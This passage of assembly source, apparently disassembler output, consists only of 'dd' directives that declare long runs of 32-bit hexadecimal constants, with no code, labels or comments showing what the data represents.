		dd 98A30038h, 0A8F28E60h, 70013B8h, 89D8A1CCh, 6C3D50Fh
		dd 47F51575h, 0B8247217h, 9103601Eh, 0F05AF0FCh, 38FE613h
		dd 0CF066245h, 2290AF23h, 8005207h, 0D0032D89h,	713DA2DAh
		dd 0C07C5Ah, 0F3A1FEDDh, 0DB8E02Fh, 54D8481Fh, 68E45F41h
		dd 0DAE4D6B6h, 1E833026h, 81B805D0h, 0E02E1F0Eh, 54B420FAh
		dd 0D7A960h, 62910A52h,	1ED21637h, 0A80CFD39h, 0BD03800Fh
		dd 9A25E25h, 0FEB900DCh, 8185097h, 1F00A1FAh, 9EC6A703h
		dd 3DDD60h, 378F3F2Eh, 6D5A6705h, 0FEDC1B03h, 0DF16FCh
		dd 0D9AB9041h, 0F4D17BD5h, 0EDD09400h, 78A9392Fh, 864B0023h
		dd 0A4B1B517h, 0A14A5ADEh, 0FB0AD4A8h, 6B852B8h, 0C9865BD2h
		dd 8DF6DFEh, 0E8C5F080h, 0A64B6813h, 0CD81890h,	562079A3h
		dd 0C659DC00h, 0E8C789F3h, 121E4BDh, 721BC33Eh,	0C9C282E1h
		dd 0F1232165h, 111C3095h, 563F60C5h, 94C180FFh,	73737A58h
		dd 381FA48h, 4960BCECh,	0CD44B81Bh, 0F39C0082h,	1A0ECE13h
		dd 0B250D037h, 630ADDCh, 0B02E88F0h, 48E7008Ch,	6C3B10D7h
		dd 0A6746B8Bh, 749DD400h, 786F385Bh, 949E0C0Eh,	1EE028ECh
		dd 85040349h, 46C421F3h, 0BDEF8406h, 2AF903A9h,	827EDE65h
		dd 0E7B64088h, 0FCEFA129h, 3DF39D00h, 1ECE0FAFh, 0C00AE13Ah
		dd 0EF018A95h, 0E53858BBh, 0A98130F3h, 7B465447h, 0FBCE024Eh
		dd 6BCB2226h, 0F3B8E881h, 4099A12Ch, 0FDA8E01h,	82D0895Fh
		dd 9BC640F7h, 0C09EAA20h, 233B3630h, 320ADC92h,	0D0DBEDA8h
		dd 7D90E83h, 0B0290110h, 0BF440FFDh, 0F348400Dh, 41001FD9h
		dd 0D88CF763h, 830952CBh, 0EE61EFB0h, 1E0A240h,	337949F3h
		dd 0F90E2AF1h, 5DA19EBCh, 7C052B40h, 0E92F509h,	5AE96F1Bh
		dd 4D72C5E0h, 3C0385F9h, 4F40FFEBh, 0B24B9933h,	6F9930h
		dd 7661F21Ch, 0E12704AFh, 302D7B00h, 5692F3EDh,	588E03A1h
		dd 0C41FF851h, 8C1E43C9h, 822AE31h, 0AA8B0E87h,	12013584h
		dd 0D8049BA9h, 421DB89Fh, 62C0F622h, 98BADC9Ah,	3B400F7h
		dd 65DA6BD8h, 75014044h, 7641F687h, 51800DEAh, 0BBB5E0B8h
		dd 0ED004BAFh, 178A81C1h, 0B96DA7h, 7A3D6305h, 13C70D7Fh
		dd 61404B60h, 589B6Ah, 0C4102A49h, 0F5D805ACh, 23470800h
		dd 1C4B245Eh, 7795305Fh, 0EC99230h, 0A03DC9DFh,	1F68F860h
		dd 0F7085Fh, 0AC58CE1Dh, 0C40C1173h, 310D6E3Fh,	0BD3C3F1Ah
		dd 30FB1639h, 27190F6Dh, 5F1C4F36h, 5EDC7345h, 6394BAC0h
		dd 0C083CA5Bh, 79908DB8h, 7760F50Dh, 4198C0F9h,	31FB01BAh
		dd 68EFA2F9h, 8564529Ah, 0B7040904h, 51BF055Dh,	0AEC06987h
		dd 54807631h, 60F59CDDh, 2A94E186h, 0C9006662h,	0DF218311h
		dd 6CDD3Fh, 294643ACh, 85514B7Fh, 0AA8CE902h, 8F630B1Ah
		dd 0C1FA0064h, 7F442Ah,	0F6DAE06Fh, 0DD68CBECh,	166D6B18h
		dd 0F51C429h, 7D301CBCh, 2892FBE0h, 0B11249BDh,	3431C560h
		dd 0A19614AEh, 328002Dh, 39B8FABBh, 498E51Ah, 0AED430E0h
		dd 9231C715h, 4EA970D9h, 0BA14D480h, 8660AA83h,	0FCF189F5h
		dd 0DE19004Eh, 4C9AFFDAh, 64066EE7h, 86FB648h, 3E4FE6B1h
		dd 0B48F747Ah, 95E07709h, 0FED779C0h, 0C424E02h, 806DDBC9h
		dd 339BB8F8h, 34774856h, 8BE2520Eh, 0DFC0B0B4h,	439A3B19h
		dd 0ED01BDFCh, 6D64B62Eh, 0FD17642h, 84816820h,	0EB1A6809h
		dd 4B82458h, 0C939B543h, 3CE7FBF0h, 275B8001h, 0ECDB6B5Ch
		dd 9D051E5h, 0B0850113h, 0EFE4F794h, 8D4BFCDCh,	0DF59C161h
		dd 8025C206h, 38458EF1h, 5883B461h, 0DBDA820h, 0CD73C3FAh
		dd 424AE431h, 7B4E2F1Dh, 39956BC0h, 2CAA8E4h, 0BDF856B1h
		dd 0DCE06CBFh, 99B8342Ah, 61DFAE30h, 48B57Eh, 64CF0189h
		dd 4A0AFA59h, 7DD0AA09h, 68C430B0h, 0B971C7CCh,	27A4206Bh
		dd 0F0EC07DBh, 170A14ECh, 8CF6C45Dh, 0E7001211h, 0AFCB5C0Eh
		dd 74039444h, 0F3C3A6ECh, 0DABDE85Eh, 0A4E0439h, 83357647h
		dd 0E00FA730h, 9D62816h, 74148A69h, 49E909E0h, 6D21C76h
		dd 0A0169471h, 2871138Fh, 0EC14D096h, 519C1D1Bh, 0E5918004h
		dd 9B2944EAh, 0F3901E4h, 0E70BEE97h, 0C4C13038h, 3FA06D09h
		dd 0F518189Ah, 1D149288h, 0C0D04658h, 0B04E83E9h, 0D82402B5h
		dd 0CF4724F4h, 55A0B347h, 1470200Ch, 0F8E717D0h, 93B88024h
		dd 3B44631Eh, 24C630C0h, 0F4C3660Ch, 0FB4C16Bh,	58A334A9h
		dd 0E117AE26h, 0F76CF80Eh, 0B0FA15Dh, 0C5FDC914h, 21684893h
		dd 30B0CA9Ch, 90075158h, 43B5E2F2h, 42E4ABA0h, 1F6830C5h
		dd 0F04F7629h, 8AC47100h, 38DB531Ch, 1440EE80h,	0C4478C99h
		dd 5BC2DF00h, 9FE7F87Fh, 0F88F448h, 0E0E5EAEBh,	6A51D806h
		dd 2F51C019h, 0FDE38FF1h, 62E7E60Eh, 98ABA0E0h,	0F89A9047h
		dd 9F290FCBh, 6D87E561h, 4B86C009h, 0B1D854Ch, 10C7B033h
		dd 1A3051CDh, 21B826h, 1DAAED48h, 6DF1B90Fh, 0E700B4ECh
		dd 6937FE8Ah, 0C0EDC798h, 54B91738h, 9C003C39h,	56048ABh
		dd 0CEE2E2Bh, 0E99D2609h, 68E03029h, 8A1A9300h,	24E23F85h
		dd 509C60F6h, 0B474AE98h, 10624830h, 0A0E33381h, 15C611Ch
		dd 840BBA93h, 80E16985h, 0D58E81B1h, 0CCE5401h,	0A3D24B23h
		dd 480FEA18h, 6E9567A9h, 0D5407EEFh, 93B08C0Ah,	40AD0041h
		dd 7ACD84E7h, 690C252Ch, 798D5FB4h, 0EA1320F8h,	0DA77E400h
		dd 0A633ECC5h, 0BC08104Dh, 8A8000B2h, 636C2B76h, 0B5190066h
		dd 0C691E489h, 8F001EB0h, 30F8BC24h, 0C08757E9h, 66A92F90h
		dd 25005384h, 0B6460E47h
		dd 7F59D0CCh, 0BE8D0C91h, 2379110Dh, 0BDC16104h, 0CE8392AAh
		dd 3CDBB030h, 6A6EA26h,	537A12AEh, 0DD00F8FEh, 8819EBBh
		dd 56B06CF9h, 200E86Fh,	5BA53EC6h, 0DF00BB05h, 51D20959h
		dd 80C85D3h, 8B1FB4DAh,	0A871181Eh, 88084ABh, 7AA461B0h
		dd 34055291h, 0F15123B7h, 0F5868400h, 0C78857B1h, 8A318128h
		dd 0B536BED4h, 6511920h, 7C1C5868h, 0C86F47F0h,	0B85DA1h
		dd 0EA421F1Bh, 3C298093h, 0AEA8459Dh, 0FB884F4h, 50B4D98Ah
		dd 908418E2h, 0EA00004Ch, 8552DB83h, 0A4DA3C1Bh, 0E19F3094h
		dd 91D25E99h, 4792D00h,	0FA3F4E70h, 7DD6093Bh, 488E0F7Ch
		dd 162753A1h, 735981C9h, 4DA9CB09h, 148ED6CCh, 749D31CCh
		dd 5C072C00h, 6A4EF64Ah, 34FD9714h, 0BB310490h,	288026D1h
		dd 24F81530h, 60945037h, 7EFEB37Fh, 0AA20B900h,	4604C463h
		dd 90AB57A8h, 123A7511h, 20405AE9h, 25D5CB58h, 13BA0554h
		dd 30704879h, 0B57161F4h, 0FD5C6800h, 0F0A20A02h, 0DCF9A043h
		dd 0FC89011Fh, 8D052AB1h, 0B0F453A8h, 408823EBh, 860091CEh
		dd 0B9CDF776h, 1F9E920Fh, 0C7B533E1h, 627BE785h, 0B4B49179h
		dd 5401AF2Ah, 18C60A00h, 2F7EAEB1h, 1DF301EEh, 0B3AA7AB7h
		dd 18D8243Bh, 8DA4800h,	0A2A6D860h, 0DC22EBE2h,	0A1B1AB18h
		dd 7B136333h, 0C000BBDBh, 78C1B698h, 0D3FA18E6h, 8A3488C4h
		dd 8250513Fh, 1626C03Fh, 8788A935h, 0B6470957h,	8133CA30h
		dd 6E7B0929h, 48983460h, 0C11DFB6Fh, 7344D84Ch,	0AB31E5F0h
		dd 6589808Ah, 0B67186BBh, 79A70021h, 7A022343h,	630072C0h
		dd 914F0AA1h, 289C3127h, 18955A89h, 418E0D3Ah, 81183E26h
		dd 0C71196A9h, 0B707006Ch, 0DCDEA38Eh, 5C00AEFAh, 681E8586h
		dd 6304275h, 9184E0E3h,	8A29D1CCh, 43008CA9h, 22604A75h
		dd 66470090h, 4A15253h,	0B8921C9Dh, 0F9BE3B04h,	0CD212FEh
		dd 54302068h, 0C7CBC0Dh, 0A4E757h, 950A6DD9h, 74962070h
		dd 416614C2h, 3A80ECE8h, 0AC2F0738h, 0E9E16705h, 9872EF7Eh
		dd 73F82397h, 0CA529DB0h, 1762B200h, 72570974h,	150E0946h
		dd 0F4B04789h, 984EAFFh, 31242F9Bh, 0B9E21421h,	0F40C25A7h
		dd 491D9FFEh, 0F98DD6h,	0C0A62B17h, 24E73F0h, 9CC55082h
		dd 0C0804A20h, 0C0751F7h, 495938h, 2617F5B2h, 0A6DE96h
		dd 608DA7CCh, 0FE2B725h, 27B85050h, 70FAB526h, 7A912600h
		dd 736D1ECh, 30A20BA1h,	94CD278Ah, 0D81FC08Eh, 1400E217h
		dd 0F9CC8167h, 1353AF28h, 203CF585h, 0B1B48C80h, 89A8D71h
		dd 30372045h, 2B8A3180h, 272ADBB4h, 47008428h, 537851EDh
		dd 3E3A771Fh, 0F7E07ACh, 6CD10684h, 30247596h, 57BDBA14h
		dd 0DD675107h, 12E7182h, 10FEBEAAh, 15908A08h, 53CD0880h
		dd 755320E2h, 78AB18D0h, 5A3921h, 0BED460F0h, 0C1211211h
		dd 0AE585490h, 74A1C38Ch, 6CC0A5F7h, 0F786B89h,	60328283h
		dd 599FFFA2h, 5BEE090h,	6979EF63h, 0A826D102h, 0AF003076h
		dd 33011699h, 409BE512h, 20200B16h, 1D31176h, 0D4D14063h
		dd 262BB461h, 9E7839C4h, 31B008D5h, 0CEB83h, 4505BFA9h
		dd 49126EB3h, 69F57500h, 3E774EAEh, 98C448F9h, 9853E584h
		dd 9801F22Ch, 0FD12BF1Dh, 1C260CC9h, 20748513h,	0AB318ADCh
		dd 0E8D12Eh, 1C29D740h,	0B07E5735h, 43A19816h, 3619A3E8h
		dd 0DE214105h, 95807E05h, 780D1713h, 0E94D24EEh, 383F4630h
		dd 32956B09h, 70F42438h, 8DE81843h, 0E293Ch, 0BD5C45E0h
		dd 586B7C49h, 3C571D55h, 27823E00h, 0C05BCE96h,	353AA70Ah
		dd 0A4A6FC89h, 0EBA85860h, 60F0ED9h, 0E2C0F0B7h, 944B10A4h
		dd 870F326h, 918650C1h,	0F0D100D3h, 0BB8F0439h,	0DF0A2747h
		dd 842699A6h, 0EB9484C9h, 84AFC740h, 90087C0h, 95DA0616h
		dd 124AE3BDh, 13B65099h, 303407ACh, 63E8E249h, 9C8524C0h
		dd 0E971DE62h, 3C80A0BEh, 4D6E47h, 502F6560h, 0D8A49CABh
		dd 3067F600h, 6F26F03Fh, 9D86312Ch, 0E085B088h,	0BC99B374h
		dd 261E7F11h, 0BE8E40B5h, 465F69Bh, 2963F234h, 0B0057CC0h
		dd 0B45948F4h, 5DC7B049h, 93F028Ah, 30EA4444h, 96F0FF00h
		dd 0F9D4D6FBh, 5FC30304h, 0B6AD64A9h, 0E1880895h, 167EF080h
		dd 71DE57BFh, 9BA4006Fh, 0D5F9EE32h, 88026A2Eh,	0BE311F6Bh
		dd 44944EE4h, 2902AE35h, 0BDB1BBE2h, 5CAC5231h,	1783780Bh
		dd 0D09F143Eh, 51556CEAh, 0CF6C3F4Ch, 9EE063E4h, 0B9391CE2h
		dd 8FBD80E5h, 0BC51A627h, 1BAD8100h, 0FDDC0B04h, 0F429499Fh
		dd 93C0204Ch, 629D50EFh, 66E4C01Ch, 880B97CAh, 0A4C74744h
		dd 0D0FB46B0h, 7AE008Bh, 0BB2A65BAh, 422BF65Dh,	0DA80A8E9h
		dd 47A7FF75h, 8BA02407h, 0E0690838h, 0F528E280h, 123FA8D1h
		dd 322512A9h, 94C49F4Ch, 67DD0801h, 824BE0C9h, 9FCFB429h
		dd 5BE9F198h, 0B5DC8300h, 56E80C1Dh, 0D06901D9h, 74F70521h
		dd 25904042h, 3801873Eh, 3180D3FEh, 41D2BB9Eh, 0B11D4CCh
		dd 74A180CBh, 0CF9013D3h, 7C2B4D51h, 3987585h, 217E023Ch
		dd 6B804B8Bh, 0A500D7F4h, 9228B70Eh, 1C3C933h, 983E0952h
		dd 49A19B2Ah, 3332E974h, 0DB8D0284h, 44B2E2B5h,	6CAB488Ch
		dd 1BF5AA80h, 53027D95h, 304FEB92h, 0C99C6979h,	3643C010h
		dd 2EFAA400h, 0BFE695Fh, 6C4050F9h, 0F1228830h,	0C800AEE4h
		dd 0F55AEF77h, 1810363h, 0D15DF93Dh, 229FB701h,	0AAD40040h
		dd 32221317h, 60BE015Ch, 508C4BAh, 34F8580Bh, 7C0D3318h
		dd 79E226B1h, 0EDDF0057h, 0E61F5084h, 0A2114656h, 8E01DE08h
		dd 3353D3DCh, 7CB9D4EAh, 27F07E00h, 828F07CAh, 0F12313FBh
		dd 41E00506h, 26F801CEh, 0E6923E0Dh, 0E49A4C6Ch, 80BCE84Ch
		dd 3D5EAA8Bh, 68A13F08h, 6116416h, 0A17EABECh, 8EB1FE09h
		dd 16F907F4h, 208CCBF5h, 94A85CF1h, 0F9A06880h,	1B00B6EFh
		dd 9AC0CD8Bh, 14E164Ah,	79235896h, 0C53F8588h, 7BEC60B7h
		dd 26BEE288h, 127E524h,	0A1070B81h, 0DE842C80h,	7843D95h
		dd 841ABD54h, 0C0E8A900h, 0B58D07BCh, 9BEF4DAh,	3330B890h
		dd 18BD390Bh, 2E68A080h, 1EE9F436h, 87F24A53h, 0B00470F1h
		dd 147ED83h, 0F4124B01h, 0F3C8C1D8h, 19542087h,	0F68AE024h
		dd 1750C6EEh, 3DE6F2A5h, 0CC1C4E1Ch, 0B1BFBC00h, 60D965F5h
		dd 63115854h, 0F330BA43h, 0A286931h, 0C3AD0091h, 796A9960h
		dd 7F01411Ah, 0B7DB93B8h, 6083EC9Ah, 0F0E57363h, 4DE9480Ch
		dd 6344157h, 2D476991h,	0C8FA28CFh, 0AF7FA1C0h,	3DF3A5h
		dd 91D66A50h, 9384FAD1h, 35F5770Fh, 0BA448049h,	35C1E2FBh
		dd 1F39D3B9h, 6155188Ah, 19C0F64Dh, 6B6EA6C9h, 0A9865874h
		dd 1DAB5450h, 809E50D6h, 0BB590481h, 8CAC9127h,	63F3070Ah
		dd 0F99C80FBh, 0C18B2A80h, 0E244938Ah, 0AD700CEEh, 4A7163F4h
		dd 5034A000h, 0EB206B74h, 40BA588Eh, 41C60E00h,	1862987Ch
		dd 9B2B4028h, 3C9FA00h,	0E94ACAF3h, 0F2A8C0D0h,	0B7F8C344h
		dd 0D411AB0Fh, 0BC67E003h, 141C3A42h, 0F8A547B1h, 4A394584h
		dd 0FD43EC4Dh, 7A9FB033h, 0EB60083h, 0B124C732h, 0CA03160Dh
		dd 0F4BE2373h, 1839006Fh, 403B896Bh, 1600EF17h,	1CF8AA5Eh
		dd 0C5CD4763h, 2041E991h, 659135A8h, 6328B1FCh,	0F744D8F4h
		dd 45D50037h, 7D802C1Bh, 9A3C98E0h, 6BC51CE2h, 0AFC04D9Fh
		dd 0AC4FD487h, 0CCC0C01Fh, 0DF84C8CAh, 0BE1540C2h, 2C44E9h
		dd 4A0625D0h, 9B6C28C7h, 0F55B780Fh, 0AD93A097h, 0E7F2A0Fh
		dd 468A1B0Ch, 0A250D78Ch
		dd 41C06DE4h, 8027F89h,	3D7700E3h, 0FC6B7925h, 1A1CBBFFh
		dd 297148DBh, 0C1BC4A63h, 0C853D83Ch, 0C44C0E24h, 0C1A88089h
		dd 31C2F8E3h, 48199E92h, 80B6E444h, 59C062F3h, 0F7152E4Ch
		dd 460F0753h, 60A663C8h, 232CF498h, 0A803091h, 0BAF24E92h
		dd 0A4760166h, 0C2336A2Ah, 0BEDBC0EBh, 0EA542E54h, 49C3F040h
		dd 9D0048D3h, 25EE0AFCh, 0B400D54Eh, 105E546h, 24E03BEBh
		dd 0E218F7E2h, 0D12C4ABFh, 113E60F3h, 0EA08A6BCh, 0FD8D1D02h
		dd 8204B319h, 1600DF4h,	0F84D9434h, 0AC05B717h,	0E133BE87h
		dd 0C0B49400h, 77265469h, 74601BD9h, 7AA1A9E9h,	7E60424Bh
		dd 0D94C2844h, 0F47DC10Ch, 0D193C85Fh, 0AD080011h, 968CBE40h
		dd 0CCC4CB51h, 0E2554281h, 0FFB3F9BCh, 0BF3BAAD8h, 0EC0A7A03h
		dd 0D0DA063Eh, 2A4AAD87h, 90C82050h, 1D88678h, 342AA377h
		dd 422EBB51h, 9C460690h, 9D3B8C01h, 0AAD1D02Fh,	128A2D0h
		dd 6ED7145Bh, 0EC6ACDA5h, 160C9B9Dh, 0D93846DBh, 0DAE93034h
		dd 5B9524F1h, 1600E4E6h, 0DEC768CBh, 0E4DD5727h, 0F80F499Ch
		dd 0C1D692C1h, 28A022D5h, 0BD0024EAh, 3F7DC941h, 3B9033D8h
		dd 5200805Dh, 0AEB21AE7h, 0BE4CCAACh, 0DCE9866Ch, 133A0039h
		dd 0C2E703C8h, 0E00EF99h, 0E33FCB7Bh, 0F701BF69h, 2E92AC58h
		dd 3A0ED4Dh, 712A0609h,	916B361Eh, 0A4E6809Dh, 957AB900h
		dd 9209F615h, 8060E4FCh, 0F2887063h, 88649D4h, 45880892h
		dd 0FF253481h, 0E2CC0D48h, 729F006Bh, 7FB90828h, 948BF56h
		dd 76F2002Ch, 0AB69AD32h, 5C280CA3h, 0D61E142h,	8FAEC600h
		dd 5AD0566Ah, 1B362622h, 4CB302CAh, 284CD1D2h, 18F0EA90h
		dd 41FF4D30h, 0F295D0h,	1B4ED610h, 96ED6CCAh, 507D2A04h
		dd 4813F14h, 1908BEC1h,	0C8443892h, 0F7F200DDh,	0A458D7EAh
		dd 927B5D5Fh, 6EE0BE04h, 8C4AE3h, 816F0057h, 419A4D59h
		dd 793B6E9Dh, 64220938h, 0BD3C3B05h, 20C62C82h,	0F7EA3242h
		dd 988349C0h, 1C966C4h,	887FD058h, 87E04C2Fh, 8C451D91h
		dd 0A80B4843h, 3AC1CA6h, 0CA6C6DEEh, 0FE0108Dh,	9300D215h
		dd 0D0182E46h, 1373F87Bh, 4E23C56h, 8CBFD304h, 6830F304h
		dd 0EFCA89E3h, 1869DDE9h, 2F3391DBh, 0F01DC00h,	8F473138h
		dd 5BDF0B11h, 28002017h, 0D4BE53E6h, 13E788A4h,	0B17290D2h
		dd 0D46F4C32h, 48203EA2h, 0FD729Ah, 539844Ch, 0E044F799h
		dd 0BB119E7Ch, 171F38F3h, 0FC80BCB1h, 55C1F614h, 78007553h
		dd 4E42BEB5h, 5CB389D0h, 0C16234E2h, 0E86CD3F2h, 0C1684CE6h
		dd 0AE8040E9h, 0BD301199h, 0CDDD04A3h, 0CC688DFFh, 590134FCh
		dd 0AE237F2Bh, 0B07349EAh, 949224h, 0ACE7135h, 0B40F6408h
		dd 820E341Ch, 419272B9h, 7D106998h, 34FB1878h, 6302F0CCh
		dd 54FC6845h, 1B7D30F2h, 684240B9h, 0DCF427E4h,	5F006D29h
		dd 5B38DC2Eh, 0E12D23h,	291C9AEDh, 1ADF2651h, 69994A00h
		dd 0FE0B14D2h, 0C04588Eh, 0E3CAC1C2h, 0B13F98E6h, 7CDC527Bh
		dd 502CB000h, 93EEC3A8h, 19D463C5h, 32A8588Ch, 740B2A7Bh
		dd 1AE17508h, 84A06030h, 95F8C41Ah, 31630B62h, 4C0C5308h
		dd 0C82630BBh, 182C4E72h, 89CBC4BBh, 1400B868h,	0A77DDA19h
		dd 0A1B0FDh, 0E555015h,	0D54A035Ah, 0C9C69418h,	0E7FB31h
		dd 0D877ABE3h, 0A2715715h, 0D567E0E1h, 0F035041Ch, 1A526A80h
		dd 0E3C53DE5h, 0E6573981h, 0F0E78CD0h, 0D80BC3A0h, 0B9CF4094h
		dd 0E19EEFDCh, 8D2B4087h, 0AB76975Bh, 0C833Ch, 0AA08F575h
		dd 53B06DCAh, 0C32898B6h, 0B7D70050h, 6D75E15Bh, 0A4A2F8ECh
		dd 17FB8C61h, 1147ED91h, 0D405E428h, 50D3C64Dh,	7C7EA08Ch
		dd 723480D0h, 0D4641E05h, 90DC7D14h, 0CCF90F91h, 0AA814AC7h
		dd 31B8CB0Fh, 0FBC769Ch, 0C45724h, 6027F0CFh, 18864DD5h
		dd 41C869C4h, 0AD24EF11h, 4E01CC28h, 5FF5BEE9h,	7C2181D2h
		dd 0BF8C6DB5h, 5AE93D8h, 7732EF67h, 949CD183h, 0E11003BAh
		dd 2C76AD1Ah, 68D91D76h, 4B66899Ah, 7AEB40Ah, 0A345FED7h
		dd 0B102F9E0h, 35EB19F3h, 7CED03h, 15D411ACh, 633D1CA4h
		dd 5C1BA643h, 3010D510h, 88704A5Dh, 0A3DA4DF3h,	0C0C8B474h
		dd 1D3C000Ch, 6E4077FCh, 390051ACh, 43C6E494h, 75AAA169h
		dd 24E209E8h, 2C03CA0Ah, 0C09C59EDh, 0F21D480Ch, 9C2048D7h
		dd 8C9CDCh, 77FD171Ch, 0BEC6D788h, 0B2861200h, 214D91Fh
		dd 0E0704CBAh, 6D44E9C2h, 0DF44ACE6h, 7C1C53ACh, 32D58400h
		dd 8BE280E5h, 0EAD441F1h, 0C25824DDh, 0C4D2E300h, 934E27FEh
		dd 1414987Fh, 0EBAF14D1h, 85476409h, 0D249E410h, 4A7A2284h
		dd 0B26C894Ch, 3FC3218Eh, 0B7850057h, 12442864h, 0B40407A6h
		dd 0A5204A6Eh, 0D8C9834h, 8CFE4D2Ah, 94803493h,	0CB8E5552h
		dd 0A9DE3B6Ch, 4DEA7F05h, 0E5C4CC2Eh, 4835388h,	0AD598845h
		dd 9284FB6Bh, 145660A2h, 0F1ECC11Eh, 6251F371h,	351117C8h
		dd 79681020h, 7A6D007Ch, 92107663h, 0A13D61AAh,	1A8F80E8h
		dd 0E0EFF516h, 7646012Ch, 80D69386h, 4375DCBDh,	0FB196D00h
		dd 0BE95FA0h, 7C4F3121h, 0D88B5648h, 0C73D6D30h, 616930B0h
		dd 0CDB6A8h, 603461C5h,	0BC896F72h, 0BB07B8EEh,	3F542579h
		dd 1B4AA203h, 51F96D31h, 7BFF6BC0h, 7FCC4D06h, 1D19474Fh
		dd 40421CD7h, 8D979217h, 0EF0F6ACDh, 0B85D9136h, 482E6338h
		dd 1D027F5Ah, 226CDB8h,	0B0718840h, 15EA45Ch, 671A3621h
		dd 0C3F237D6h, 0C7390039h, 0A8CD7275h, 8A002E48h, 3826EFFCh
		dd 0ECC2A3h, 91344C24h,	572FA081h, 0FC6D48C1h, 40B87769h
		dd 0C954F418h, 46188C72h, 83116C7Ch, 37A900F0h,	0DAF17488h
		dd 7300B71Dh, 0FC9B0DE4h, 0A0EA7BA0h, 14BD7EA8h, 0D428B4E9h
		dd 0E37FE200h, 62D8C543h, 0BF80C400h, 4CDCCA4h,	0D35D0A37h
		dd 808C464Fh, 0EA59DE69h, 9E00105Ch, 0ED5D723Ah, 2A998CACh
		dd 0F9FC4504h, 0D2DAD010h, 9FA43Ch, 0FA29F555h,	3CC07FB1h
		dd 0F86A44h, 8864479Ah,	39DBF7C6h, 7D6F40C1h, 98485DABh
		dd 0B8020F54h, 78A04F32h, 4CD5059Dh, 0C5A66600h, 0EFCB2B7Ch
		dd 55D04CFFh, 285A3078h, 4C16E839h, 2158D100h, 0E2D824AEh
		dd 4BE152Eh, 36C280F0h,	0B0A00D61h, 0C580E4D5h,	177D5A00h
		dd 6407FD12h, 2AF6377Bh, 43C06A59h, 0D08715C0h,	0FEC23B4Dh
		dd 53A66505h, 88607FA2h, 19FFB37Bh, 0A033393Ch,	0AF83101Bh
		dd 0F79B0F95h, 72CBB61h, 48F173F8h, 0FA0036E8h,	0D73555DEh
		dd 7F348C47h, 0C4530FC1h, 15E7973h, 0EC264BC7h,	7BD0517Eh
		dd 6140FBF5h, 0F48841DCh, 2F7900E3h, 96B25DAh, 0A012BCB5h
		dd 30016E94h, 24FA7B2Dh, 20627042h, 0BFFF3BD1h,	0BAF81500h
		dd 48CAC4A7h, 0A0CF00A3h, 8FC53086h, 7891AF63h,	98E47F15h
		dd 0CCCBA0h, 0C582E924h, 0E31B8675h, 8A07667Dh,	0A8DAD25Ah
		dd 90B89BC0h, 540C0AF5h, 44E08D7Bh, 0D0FC8CD6h,	42113300h
		dd 94D3302Ah, 10A33BFEh, 28C07C19h, 1E91106Fh, 865E00A5h
		dd 92C77E2Ah, 0FE00AB6Dh, 0DDFDF73Ah, 30132C20h, 6E31444Fh
		dd 9F0028ADh, 0F530CEEBh, 0F161484h, 0D3394B12h, 89717A40h
		dd 0E2317C7Fh, 0C025991Ah, 74613841h, 3C551C24h, 0CE0F64E3h
		dd 1AC08BBFh, 6C3BC937h, 16577D13h, 0C6610C73h,	0A8311339h
		dd 7C2E0024h, 0B0BB4E40h, 909FE700h, 15CBE01Ah,	42093D4h
		dd 697BC3h, 32748576h, 798E00D0h, 801FBEF9h, 33447E52h
		dd 1B4B161Ch, 0D23F00CEh, 0FB64A534h, 7C7E1E09h, 0D81410FCh
		dd 3E917437h, 20688866h
		dd 193640C0h, 0B126B3E4h, 4F11C81Ah, 7262307Ch,	37F433C1h
		dd 0DCDA871Ch, 6CD8D700h, 0E23896ACh, 3F2600BCh, 0D9314875h
		dd 1A24A6A9h, 0F3613CBAh, 6850331Bh, 0E819CB4h,	0BA7E4A24h
		dd 1DA44661h, 597420CCh, 0FA6DD31Ch, 0EE5A7933h, 0D1FF00A9h
		dd 0CDA7BE5Dh, 0DB79EEACh, 6FBB4401h, 22FC7B36h, 8BF6298Eh
		dd 4351E3C2h, 4F2AD46Eh, 3C1DE87Bh, 803BDA8Ah, 4BA75C0Ch
		dd 0AE46F17h, 0B04DF8A0h, 856A65C4h, 1B0C085Ch,	0D234D681h
		dd 0F830E5FBh, 4C6E4CC3h, 78A35410h, 6BC8009h, 0CE603852h
		dd 5FD52225h, 295B1A18h, 0D1AD51h, 0E48C26C7h, 463E91A4h
		dd 905B6524h, 0EA4B4740h, 0B5750041h, 71118CD6h, 70F3001h
		dd 185B1BD0h, 776529h, 8EAE4983h, 25D7A14Bh, 58342E00h
		dd 0C8D90E0h, 0DCF01C78h, 0D284C09Bh, 7AF36DD7h, 0A20838B1h
		dd 0C639BE57h, 38019CD9h, 807B37D5h, 6E698174h,	0D53CE7Dh
		dd 0F3C3D880h, 0D60CD7A9h, 4DFCCD05h, 6C8A370Eh, 7AF9F831h
		dd 8103166h, 85008D5Ch,	9945870Eh, 3EE816BEh, 0BC5A3097h
		dd 0EC35001Ch, 3E31153h, 60F609FFh, 90823731h, 7C03C707h
		dd 2AB93F55h, 4448788Fh, 32D7C3EEh, 18C62D0Ch, 0CAF54E00h
		dd 2E539085h, 41360119h, 0CC44C732h, 0A0AFE3E4h, 0CB7670F6h
		dd 400B8B30h, 89748F7Bh, 22F4376Fh, 64720029h, 4BDA82B1h
		dd 0A69836EBh, 67705105h, 80407D4Ch, 0A3EA6919h, 0A0FD16AFh
		dd 6DD4459Bh, 209034C0h, 1E5A3F5Ch, 2E57A988h, 325CF93h
		dd 58FE6DF5h, 4C65B9B0h, 6F416960h, 10CFCAh, 0DDD6C931h
		dd 6D1DD7E6h, 0F96C8504h, 0E4D9BDB6h, 3C40FDF1h, 0BB8A86Ah
		dd 54242C04h, 0F8749419h, 5707B242h, 0DC11724Dh, 468B3670h
		dd 207C906Fh, 9DE0A46Ch, 4FC42854h, 0CB596A60h,	98CDAFh
		dd 183D2C81h, 0B6C47791h, 305BE105h, 0D08DBECAh, 0E37BA841h
		dd 306BB448h, 0A649404Eh, 0ECF60B3Dh, 4692D00h,	37CF4D28h
		dd 0B26E00E2h, 0A9D69511h, 0B93EFBA4h, 0CC8B2C6Dh, 0F9508069h
		dd 245A6241h, 0C34C8F19h, 0E9709FC7h, 603AA628h, 0FE556844h
		dd 626B0096h, 5E7CBFD3h, 577991C0h, 4958C904h, 10D1DEECh
		dd 25111EF1h, 283432D4h, 0C432F492h, 0EC8B7023h, 34DE5448h
		dd 0A5A800B5h, 0C930A02Bh, 94001DE7h, 0BEC33CD6h, 25A83CEh
		dd 329FFFA2h, 0FE8E018Bh, 0F7115C14h, 64E85055h, 6670E8A9h
		dd 67C90044h, 0C5BAE980h, 44F4ACA7h, 0E600A80Fh, 0EC05BD58h
